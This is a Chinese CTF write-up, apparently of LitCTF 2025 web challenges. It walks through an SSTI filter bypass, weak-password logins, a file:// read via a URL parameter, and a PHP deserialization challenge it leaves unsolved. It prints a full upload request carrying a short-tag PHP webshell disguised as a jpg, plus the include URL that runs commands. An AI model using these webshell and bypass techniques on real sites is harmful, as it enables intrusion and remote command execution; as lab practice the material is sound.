1、星愿信箱
本题也是Python的SSTI注入,但是貌似加入了一些简单的过滤。我们打开题目,我们直接尝试使用双大括号来判断是否为SSTI,但是发现

那么我们可以猜到应该是双大括号被屏蔽了,那我们使用 {%print (....) %}
代替即可

然后开始加入攻击载荷,发现还是有被过滤的

那么盲猜一波是 eval 被过滤了,因为这是用来执行命令的函数。我们直接使用exec替代即可,注意不要尝试使用拼接的方法,因为eval是一个动态的函数,而拼接之后是死的字符串,无法正常执行命令的。
这个例子可以看得很清楚

也不要使用十六进制,Python不允许在 . 后面使用十六进制调用函数或属性的。
最终成功执行,访问 /tzy 路由,使用 ?cmd 传入命令即可

2、nest_js
本题为弱口令,直接爆破即可

登录即可

3、ez_file
进入登录界面,首先也是使用弱口令登录 admin/password

查看页面源码,发现file参数,有文件包含逻辑,我们直接上传一个jpg图片马。但是PHP标签被过滤了,我们使用短标签来绕过。
POST /admin.php HTTP/1.1
Host: node8.anna.nssctf.cn:20771
Content-Length: 233
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://node8.anna.nssctf.cn:20771
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHqIjoMP3Rus5Munp
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node8.anna.nssctf.cn:20771/admin.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=90df1eaf1166d3ee8d63e0980cadb17d
Connection: keep-alive
------WebKitFormBoundaryHqIjoMP3Rus5Munp
Content-Disposition: form-data; name="avatar"; filename="basic_webshell.jpg"
Content-Type: application/octet-stream
<?= system($_GET[1]);?>
------WebKitFormBoundaryHqIjoMP3Rus5Munp--
随后包含文件并传入Payload即可。
http://node9.anna.nssctf.cn:28242/admin.php?file=uploads/basic_webshell.jpg&1=cat%20f*

4、ez_signin
直接查看页面源码:
http://node12.anna.nssctf.cn:20346/api/sys/urlcode.php?url=file:///var/www/html/api/sys/urlcode.php
发现一个PHP文件,我们直接去查看,发现flag

http://node12.anna.nssctf.cn:20346/327a6c4304ad5938eaf0efb6cc3e53dc.php

5、君の名は
本题是PHP反序列化,我们先查看题目。如果不想再NSS上花金币的,也可以直接下载源文件来Docker部署。
https://github.com/litsasuk/My-CTF-Web-Challenges
<?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
private $musubi;
private $magic;
public function __unserialize(array $data)
{
$this->musubi = $data['musubi'];
$this->magic = $data['magic'];
return ($this->musubi)();
}
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}
}
class Mitsuha
{
private $memory;
private $thread;
public function __invoke()
{
return $this->memory.$this->thread;
}
}
class KatawareDoki
{
private $soul;
private $kuchikamizake;
private $name;
public function __toString()
{
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}
}
$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
unserialize($Litctf2025);
}else{
echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}
我们可以看到有三个类,我们来列个表。
类名 | 属性(均为private) | ||
Taki | musubi | magic | |
Mitsuha | memory | thread | |
KatawareDoki | soul | kuchikamizake | name |
暂时研究不懂,先放一下